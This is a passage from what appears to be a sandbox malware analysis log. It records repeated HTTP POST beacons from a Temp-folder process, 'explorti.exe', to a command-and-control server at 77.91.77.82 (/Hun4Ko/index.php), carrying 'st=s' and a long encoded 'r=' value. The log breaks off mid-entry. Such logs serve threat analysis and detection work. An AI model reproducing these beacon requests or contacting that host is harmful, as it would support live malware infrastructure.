Jun 28, 2024 13:38:11.819025993 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:38:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.5	49842	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:38:11.935465097 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:38:12.615026951 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:38:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.5	49843	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:38:12.628269911 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:38:13.314598083 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:38:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.5	49844	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:38:13.435667038 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:38:14.102500916 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:38:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.5	49845	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:38:14.112061024 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:38:14.822546959 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:38:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.5	49846	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:38:14.950867891 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:38:15.648950100 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:38:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.5	49847	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:38:15.660933018 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:38:16.339624882 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:38:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.5	49848	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:38:16.451020956 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:38:17.118525028 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:38:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.5	49849	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:38:17.127263069 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:38:17.817174911 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:38:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.5	49850	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:38:17.937357903 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:38:18.685817003 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:38:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.5	49851	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:38:18.699882984 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:38:19.391629934 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:38:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.5	49852	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:38:19.513746977 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:38:20.184828043 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:38:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.5	49853	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:38:20.214966059 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:38:20.904644966 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:38:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.5	49854	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:38:21.039875031 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:38:21.706567049 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:38:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.5	49855	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:38:21.719505072 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:38:22.409183979 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:38:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.5	49856	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:38:22.535562038 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:38:23.206182957 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:38:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.5	49857	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:38:23.216286898 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.5	49858	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:38:23.340914011 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:38:24.034285069 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:38:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.5	49859	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:38:24.045444012 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:38:24.736852884 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:38:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.5	49860	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:38:24.859530926 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:38:25.535490990 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:38:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.5	49861	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:38:25.546287060 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:38:26.243890047 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:38:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.5	49862	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:38:26.363887072 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:38:27.239850998 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:38:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.5	49863	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:38:27.249633074 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:38:27.938535929 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:38:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.5	49864	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:38:28.061078072 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:38:28.764535904 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:38:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.5	49865	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
